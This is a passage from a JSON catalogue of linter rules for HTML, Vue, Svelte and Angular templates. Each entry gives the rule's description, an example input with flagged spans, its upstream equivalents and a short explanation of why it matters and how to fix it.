        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 71,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-v-is",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-v-is",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-v-is.html"
        }
      ],
      "why": "Vue 3 removed it, so the element is not turned into the component.\n\nTo fix, write `is=\"vue:name\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports the `.native` modifier of `v-on` (`@click.native`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 22,
            "length": 13,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-v-on-native-modifier",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-v-on-native-modifier",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-v-on-native-modifier.html"
        }
      ],
      "why": "Vue 3 removed it, so the listener is not added to the root element of the component.\n\nTo fix, declare the event in `emits` of the component, or listen on its root element."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a key code as a modifier of `v-on` (`@keyup.13`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <C :title.sync=\"t\" @click.native=\"go\" @keyup.13=\"k\" inline-template v-is=\"c\" />\n  <p slot=\"head\" is=\"row\"></p><slot name=\"x\" />\n  <template scope=\"p\" slot-scope=\"q\" functional></template>\n  <tr is=\"vue:row\" v-model:title=\"t\" @keyup.enter=\"k\"></tr>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 41,
            "length": 9,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-deprecated-v-on-number-modifiers",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-deprecated-v-on-number-modifiers",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-deprecated-v-on-number-modifiers.html"
        }
      ],
      "why": "Vue 3 removed key codes, so the listener never fires. The numbers are also deprecated in browsers.\n\nTo fix, write the key name (`@keyup.enter`)."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a name defined twice in `props`, `computed`, `data`, `methods` and `setup` of a component object, and a prop or `defineModel` of `<script setup>` that a top-level name of the script (a `const`, a function, an import) repeats, unless that name reads from the props object (`const a = props.a`, `toRef(props, 'a')`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<script>\nexport default {\n  props: {\n    a: String,\n    b: { type: String, default: '' },\n    c: { required: true, type: Number },\n    d: Boolean,\n    e: [String, Number],\n    f: {},\n    g: Object,\n  },\n  data() {\n    return { a: 1, h: 2 }\n  },\n  computed: {\n    h() { return 1 },\n    get k() { return 1 },\n    set k(v) {},\n  },\n  methods: { go() {} },\n}\n</script>\n\n<script setup>\ndefineProps(['x', 'y'])\nconst ok = 1\nconst model = defineModel()\n</script>\n",
        "language": "vue",
        "other_lines": [
          4,
          8,
          9,
          10,
          25,
          27
        ],
        "spans": [
          {
            "column": 14,
            "length": 1,
            "line": 13
          },
          {
            "column": 5,
            "length": 1,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-keys",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-dupe-keys",
          "note": "the `groups` option is not read; a component object only as `export default`, `defineComponent`, `defineNuxtComponent` or `Vue.extend` at the top level",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-dupe-keys.html"
        }
      ],
      "why": "All of these names are put on one object that the template reads, so one of them hides the other and the template shows the wrong value.\n\nTo fix, rename one of them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports two `on:` directives of one element that have the same event and the same handler (modifiers do not count); both are reported.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 3
          },
          {
            "column": 21,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-on-directives",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-dupe-on-directives",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-dupe-on-directives/"
        }
      ],
      "why": "The handler runs twice for the event, which is rarely meant.\n\nTo fix, remove one of them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `style:` directive that repeats the property of an earlier one on the element. `|important` is not part of the property.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 94,
            "length": 21,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-style-properties",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-dupe-style-properties",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-dupe-style-properties/"
        }
      ],
      "why": "The later one wins, and the earlier is dead code.\n\nTo fix, remove one of them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports two `use:` directives of one element that have the same action and the same parameter.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 52,
            "length": 7,
            "line": 3
          },
          {
            "column": 60,
            "length": 7,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-use-directives",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-dupe-use-directives",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-dupe-use-directives/"
        }
      ],
      "why": "The action runs twice on the element, which is rarely meant and doubles its set-up and clean-up.\n\nTo fix, remove one of them."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-else-if` whose condition is the same as an earlier `v-if` or `v-else-if` of the chain. Conditions are compared as text without blanks, and `||` alternatives one by one; a condition that only some earlier `&&` terms cover is not found. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          13,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 46,
            "length": 9,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-v-else-if",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-dupe-v-else-if",
          "note": "conditions are compared as text, `||` alternatives one by one; `&&` subsets are not found",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-dupe-v-else-if.html"
        }
      ],
      "why": "The earlier branch with the same condition always wins, so this branch can never run. It is usually a copy that was meant to have another condition.\n\nTo fix, change the condition, or remove the branch."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a class name written twice in one `class` attribute.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<a class=\"a {{ if x }}b{{ end }} {{ if y }}b{{ end }}\">t</a>\n<a class=\"a a\">t</a>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-class",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-duplicate-class",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-duplicate-class"
        },
        {
          "id": "no-dup-class",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-dup-class.html"
        }
      ],
      "why": "The second one does nothing, and it is usually left over from a merge or from a class that should have had another name.\n\nTo fix, remove the repeat."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `id` that an earlier element of the document already has.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<table><tr><td>a</td></tr></table>\n<table><tbody><tr><td>a</td></tr></tbody></table>\n<main></main>\n<main hidden></main>\n<main></main>\n<p id=\"a\"></p>\n<p id=\"a\"></p>\n<p id=\"b\" class=\"x y x\"></p>\n<p id=\"\"></p>\n<p id=\"\"></p>\n<ul><li>a</li></ul>\n<div><li>b</li></div>\n",
        "language": "html",
        "other_lines": [
          3,
          7,
          10,
          11,
          14
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 9
          },
          {
            "column": 8,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-id",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/htmlhint",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-duplicate-id",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-duplicate-id"
        },
        {
          "id": "no-dup-id",
          "note": "ids are not scoped per <template>; no include and exclude options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-dup-id.html"
        },
        {
          "id": "id-unique",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/id-unique.mdx"
        }
      ],
      "why": "Ids must be unique. Scripts, links, labels and styles find the first element only, so the second one is silently unreachable.\n\nTo fix, give the element another id."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `<button>` with no `type`. A Svelte spread (`{...props}`) may carry the `type` and is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          7,
          10,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "no-implicit-button-type",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "button-has-type",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/button-has-type.md"
        },
        {
          "id": "button-has-type",
          "note": "a missing `type` only, not an invalid value",
          "partial": true,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/button-has-type/"
        },
        {
          "id": "html-button-has-type",
          "note": "a missing `type` only, not an invalid value",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/html-button-has-type.html"
        },
        {
          "id": "require-button-type",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-button-type"
        },
        {
          "id": "no-implicit-button-type",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-implicit-button-type.html"
        },
        {
          "id": "button-type-require",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/button-type-require.mdx"
        }
      ],
      "why": "A button without a type is a submit button, so inside a form a click sends the form, which is rarely meant for a button that opens a menu or toggles a panel.\n\nTo fix, add `type=\"button\"`, or `type=\"submit\"` if it should submit."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an element whose end tag is left out and that the next sibling or the end tag of its parent closes (`<li>`, `<p>`, ...). Void and self-closed elements have no end tag and are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<ul>\n<li>a\n<li>b</li>\n</ul>\n<p>x</p>\n<br>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-implicit-close",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-implicit-close",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-implicit-close.html"
        },
        {
          "id": "tag-pair",
          "note": "a stray end tag is the parser's `syntax-error`, an unclosed element is `no-implicit-close`",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/tag-pair.mdx"
        }
      ],
      "why": "The rules for the implied end are complex: a `<p>` ends when a `<div>` begins, a `<li>` when the next `<li>` begins. A reader and a tool cannot always tell where an element ends, and an edit can change it.\n\nTo fix, write the end tag."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `<input>` with no `type`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          7,
          10,
          12,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "no-implicit-input-type",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-implicit-input-type",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-implicit-input-type.html"
        }
      ],
      "why": "Without a type an input is a text field, which is easy to read as an omission; with the type written, the intent is in the markup and tools that look for text fields find it.\n\nTo fix, add `type=\"text\"` (or the type that is meant)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `style` attribute, and a Svelte `style:property` directive. A `style` that sets only `display` is not reported, because scripts toggle it.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          6,
          9,
          11
        ],
        "spans": [
          {
            "column": 21,
            "length": 18,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-inline-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "no-inline-styles",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/no-inline-styles.md"
        },
        {
          "id": "no-inline-styles",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-inline-styles/"
        },
        {
          "id": "no-inline-styles",
          "note": "a style that sets only display is allowed",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-inline-styles"
        },
        {
          "id": "no-inline-style",
          "note": "a style that sets only display is allowed; the allowedProperties and allowVariables options are not available",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-inline-style.html"
        },
        {
          "id": "inline-style-disabled",
          "note": "a style that sets only display is allowed",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/inline-style-disabled.mdx"
        }
      ],
      "why": "Styles in attributes cannot be shared between elements and pages, outweigh every rule of a stylesheet, and are blocked by a strict content security policy.\n\nTo fix, use a class and a stylesheet."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a nested `<template>` that has no directive (`v-if`, `v-for`, `v-slot`, ...). Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 6,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-lone-template",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-lone-template",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-lone-template.html"
        }
      ],
      "why": "A `<template>` with no directive is a wrapper that Vue renders without its own element, so it does nothing and only adds a level.\n\nTo fix, remove the tag and keep its content, or add the directive that was meant."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an attribute that refers to an `id` (`for`, `aria-labelledby`, `list`, `headers`, `form`, ...) when no element of the document has that id.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"1a\"></p>\n<p id=\"a b\"></p>\n<p id=\"a-b_c\"></p>\n<p id=\"\"></p>\n<label for=\"x\"><input type=\"text\" id=\"x\"></label>\n<label for=\"y\">y</label><input type=\"text\" id=\"y\">\n<label for=\"missing\">z</label>\n<p aria-labelledby=\"y nothere\"></p>\n",
        "language": "html",
        "other_lines": [
          3,
          4,
          6,
          7
        ],
        "spans": [
          {
            "column": 13,
            "length": 7,
            "line": 9
          },
          {
            "column": 23,
            "length": 7,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-missing-references",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "no-missing-references",
          "note": "no include and exclude options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-missing-references.html"
        }
      ],
      "why": "A reference to nothing silently does nothing: a label that labels no control, a description that is never read, a list that offers no choices.\n\nTo fix, correct the id or add the element that has it."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a second `<main>` element that is not `hidden`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<table><tr><td>a</td></tr></table>\n<table><tbody><tr><td>a</td></tr></tbody></table>\n<main></main>\n<main hidden></main>\n<main></main>\n<p id=\"a\"></p>\n<p id=\"a\"></p>\n<p id=\"b\" class=\"x y x\"></p>\n<p id=\"\"></p>\n<p id=\"\"></p>\n<ul><li>a</li></ul>\n<div><li>b</li></div>\n",
        "language": "html",
        "other_lines": [
          3,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 2,
            "length": 4,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-multiple-main",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "no-multiple-main",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-multiple-main.html"
        }
      ],
      "why": "A page has one main landmark; a second one makes the shortcut of a screen reader to the main content ambiguous.\n\nTo fix, use one `<main>`, or mark the other `hidden`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
